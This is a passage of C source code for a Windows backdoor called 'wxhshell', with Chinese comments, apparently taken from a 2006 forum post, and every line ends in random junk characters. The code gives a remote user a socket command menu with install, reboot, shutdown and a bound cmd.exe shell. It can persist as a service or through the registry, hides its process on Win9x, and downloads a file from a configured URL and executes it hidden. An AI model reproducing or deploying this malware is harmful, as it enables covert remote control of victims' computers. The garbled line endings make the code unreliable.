  else { JI.ad_IR  
9%4rO\q  
    switch(cmd[0]) { kWWb<WRW:  
  Lm8 cY  
  // 帮助 s3q65%D  
  case '?': { _:{XL c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N-suBRnW  
    break; q*2ljcb55  
  } qh=lF_%uj  
  // 安装 )J 0'We  
  case 'i': { sx6` g;  
    if(Install()) ztf(.~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); es.`:^A  
    else 2lQ'rnqS)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rK];2[U  
    break; +_+}^Nf]Y3  
    } R!:1{1  
  // 卸载 k+&|*!j  
  case 'r': { %hY+%^k.  
    if(Uninstall()) na<g /&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8G9V8hS1#B  
    else BH=vI<D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eI- ~ +.  
    break; $L?stgU  
    } &DgIykqN  
  // 显示 wxhshell 所在路径 Y1+f(Q  
  case 'p': { WO]dWO6Mm  
    char svExeFile[MAX_PATH]; m~# O ~)  
    strcpy(svExeFile,"\n\r"); <MY_{o8d  
      strcat(svExeFile,ExeFile); x }-rAr  
        send(wsh,svExeFile,strlen(svExeFile),0); gCd9"n-e  
    break; "}EydG"=  
    } ++xEMP)  
  // 重启 KVJiCdg-  
  case 'b': { DI+kO(S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -B R&b2  
    if(Boot(REBOOT)) *K!V$8k=99  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&yfl  
    else { ns@b0'IF]  
    closesocket(wsh); "",V\m  
    ExitThread(0); 8He^j5  
    } "Y4 tt0I  
    break; ! XA07O[@  
    } e%"L79Of6)  
  // 关机 ceAK;v o  
  case 'd': { lv,<[Hw1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < jfi"SJu  
    if(Boot(SHUTDOWN)) 2U i)'0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {4UlJ,Z.n  
    else { "#(]{MY  
    closesocket(wsh); IS"UBJ6p  
    ExitThread(0); Yk[yG;W  
    } FD[* mCGZ  
    break; )'92{-A0  
    } (eHvp  
  // 获取shell <Cm:4)~  
  case 's': { \S3C"P%w  
    CmdShell(wsh); IeE+h-3p  
    closesocket(wsh); eo"6 \3z  
    ExitThread(0); l1a=r:WhH  
    break; .hnGHX  
  } 8\/E/o3  
  // 退出 ^KmyB6Yg  
  case 'x': { bc%7-%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $f_Brc:n {  
    CloseIt(wsh); ACc.&,!IZ  
    break; >AV?g8B;  
    } vuA';,:~  
  // 离开 anHP5gD  
  case 'q': { bNj| GIf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tvZpm@1  
    closesocket(wsh); rJ K~kKG  
    WSACleanup(); .F &\xa{  
    exit(1); zAS&L%^tV  
    break; Gb\}e}TB[  
        } {6*h';~  
  } %/jm Q6z^  
  } Fod2KS;g  
Jy{A1i@4~s  
  // 提示信息 >(p "!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lr_+) l  
} @zW'!Ol  
  } d2Bn`VI  
e$fxC-sZ  
  return; ="z\  
} f?[IwA`  
b2 duC  
// shell模块句柄 e%o6s+"  
int CmdShell(SOCKET sock) >DpnIWn  
{ rQ LNo,  
STARTUPINFO si; pO4}6\1\  
ZeroMemory(&si,sizeof(si)); ?E=&LAI#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mS6L6)] S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OANn!nZ.  
PROCESS_INFORMATION ProcessInfo; P.=&:ay7?  
char cmdline[]="cmd"; R@u6mMX{N,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wl?*AlFlk  
  return 0; @?f3(G h,  
} [?yOJU%`  
Xq1n1_Z  
// 自身启动模式 vH9/}w2  
int StartFromService(void) Lr V)}1&5  
{ /!uxP~2U  
typedef struct Rq<T2}K  
{ eZk [6H  
  DWORD ExitStatus; 7?dB&m6W  
  DWORD PebBaseAddress; dq[j.Nmq  
  DWORD AffinityMask; JY~s-jxa  
  DWORD BasePriority; /)e&4.6  
  ULONG UniqueProcessId; x?VX,9;j  
  ULONG InheritedFromUniqueProcessId; J+kxb"#d  
}   PROCESS_BASIC_INFORMATION; ;a[56W  
2(Vm0E  
PROCNTQSIP NtQueryInformationProcess; fYl$$.  
?yU|;my  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Dgho  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jr==AfxyT  
ehoDWO]S  
  HANDLE             hProcess; TY],H=  
  PROCESS_BASIC_INFORMATION pbi; w%g@X6  
Q_x/e|sd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ke!)C[^7z  
  if(NULL == hInst ) return 0; X )$3sTj  
;Z%ysLA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AM#VRRTU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h)~KD%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yy@;U]R  
#db8ur3?  
  if (!NtQueryInformationProcess) return 0; @q}.BcSg  
|.0/~Xy-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2X&~!%-  
  if(!hProcess) return 0; V#'sH  
-"UK NB!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (&=-o(  
k:nr!Y<  
  CloseHandle(hProcess); [>=D9I@~  
kVCS FF*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |[)t4A"}  
if(hProcess==NULL) return 0; =hH>]$J[  
kS%FV;9>(  
HMODULE hMod;  I QS|  
char procName[255]; lc,{0$ 1<  
unsigned long cbNeeded; ={o>g '  
s =! y%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <=l!~~%  
qH: ` O%,  
  CloseHandle(hProcess); \f}S Hh  
&HNJ '  
if(strstr(procName,"services")) return 1; // 以服务启动 wWKC.N  
><mZOTn e;  
  return 0; // 注册表启动 TxoMCN?7c  
} be|k"s|6)  
xa[<k >r3  
// 主模块 $6L gaz  
int StartWxhshell(LPSTR lpCmdLine) &.y:QVR,!  
{ BuCU_/H  
  SOCKET wsl; MMqkNe  
BOOL val=TRUE; rUvqAfE&+  
  int port=0; Xp[[ xV|  
  struct sockaddr_in door; eu@-v"=w  
O5CIK}A  
  if(wscfg.ws_autoins) Install(); d+[yW7%J  
Cg?D<l4  
port=atoi(lpCmdLine); #'^!@+)  
 ?}e8g  
if(port<=0) port=wscfg.ws_port; 5?r#6:(yI  
8P.t  
  WSADATA data; 3ZGU?Z;R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZSuUmCm  
s#/JMvQ#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #I|Vyufw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zm-j FY?  
  door.sin_family = AF_INET; %*wJODtB|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H$>D_WeJ  
  door.sin_port = htons(port); !@{_Qt1  
^>gRK*,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [u;]J*  
closesocket(wsl); kj~)#KDN  
return 1; rk*Igqf  
} bo '  
uc<XdFcu  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Xb\a^ q  
closesocket(wsl); z'=*pIY5f  
return 1; GMU.Kt  
} !MS z%QcO  
  Wxhshell(wsl); =24)`Lyb  
  WSACleanup(); A)Wp W M  
H0Qpc<Z4/  
return 0; */sVuD^b`  
3Bee6N>  
} &F1h3q)L  
0 60<wjX6  
// 以NT服务方式启动 l~!Tnp\M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ nNsq(4  
{ _6Wz1.]n  
DWORD   status = 0; HK) $ls  
  DWORD   specificError = 0xfffffff; j*t>CB4  
W?mn8Y;{`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QMea2q|3$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %_;q<@9)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \u ?z:mV  
  serviceStatus.dwWin32ExitCode     = 0; ;W]NT 4p  
  serviceStatus.dwServiceSpecificExitCode = 0; Y$uXBTR`y/  
  serviceStatus.dwCheckPoint       = 0; JM!rop^  
  serviceStatus.dwWaitHint       = 0; 3P3x^NI  
GzWmXm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q{@j$fMt0  
  if (hServiceStatusHandle==0) return; LH@)((bi4v  
1fM= >Z  
status = GetLastError(); IE.JIi^w  
  if (status!=NO_ERROR) )28Jz6.I  
{ %Ez%pT0TQ#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .",E}3zn  
    serviceStatus.dwCheckPoint       = 0; aF2 eGh  
    serviceStatus.dwWaitHint       = 0; #~*fZ|sq+3  
    serviceStatus.dwWin32ExitCode     = status; ';us;xR#  
    serviceStatus.dwServiceSpecificExitCode = specificError; I1^0RB{~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S1(. AI~  
    return; ]b4*`}\  
  } k<wX??'  
vNlYk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Iz,a Hrq  
  serviceStatus.dwCheckPoint       = 0; $]|fjB#D  
  serviceStatus.dwWaitHint       = 0; !31v@v:)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H>AQlO+J  
} >e :&kp  
|B<+Y<)f^  
// 处理NT服务事件,比如:启动、停止 VJ;n0*/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *X8<hYKZq  
{ vT"T*FKh:  
switch(fdwControl) J @C8;]  
{ |VbF&*v`  
case SERVICE_CONTROL_STOP: #X'!wr|-  
  serviceStatus.dwWin32ExitCode = 0; P0uUVU=B|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Sq8` )$\  
  serviceStatus.dwCheckPoint   = 0; EzqYHY+_r  
  serviceStatus.dwWaitHint     = 0; LL|$M;S  
  { W=41jw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qc#<RbLL  
  } ba& \~_4  
  return; pE@Q (9`b{  
case SERVICE_CONTROL_PAUSE: F?&n5R.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b7Jk{x #u  
  break; qFp }+s  
case SERVICE_CONTROL_CONTINUE: Q!(16  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tNg}: a|J  
  break; ]u  4  
case SERVICE_CONTROL_INTERROGATE: KZUB{Y^)  
  break; GqBZWmAB  
}; j:B?0~=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x~C%Hp*#  
} YA9Xe+g  
.vYU4g]  
// 标准应用程序主函数 ?.~E:8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hz{=@jX  
{ U">w3o|  
CM?dB$AwX  
// 获取操作系统版本 J[2c[|[-  
OsIsNt=GetOsVer(); 6,*hzyy}Qu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n,}\;Bp  
Fl<|/DCg  
  // 从命令行安装 )w_0lm'v{r  
  if(strpbrk(lpCmdLine,"iI")) Install(); If>k~aL7I  
,0O9!^  
  // 下载执行文件 ;4p_lw@  
if(wscfg.ws_downexe) { Bpt%\LK\~O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pd9qY 8CP  
  WinExec(wscfg.ws_filenam,SW_HIDE); {jO:9O @  
} 'MH WNPG0  
p&~8N#I#  
if(!OsIsNt) { Mu$9#[/  
// 如果时win9x,隐藏进程并且设置为注册表启动 4<g,L;pUU  
HideProc(); .<5 66g}VP  
StartWxhshell(lpCmdLine); $K>'aI;|  
} &Iv3_T<AF  
else Uu ~BErEC  
  if(StartFromService()) {^zieP!  
  // 以服务方式启动 Y5 e6|b|  
  StartServiceCtrlDispatcher(DispatchTable); p'z fo!  
else 0)n#$d>  
  // 普通方式启动 Tl"GOpH\]  
  StartWxhshell(lpCmdLine); m[7@l  
,pL%,>R5  
return 0; > 5-z"f  
}
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只看该作者 1 发表于: 2006-10-10
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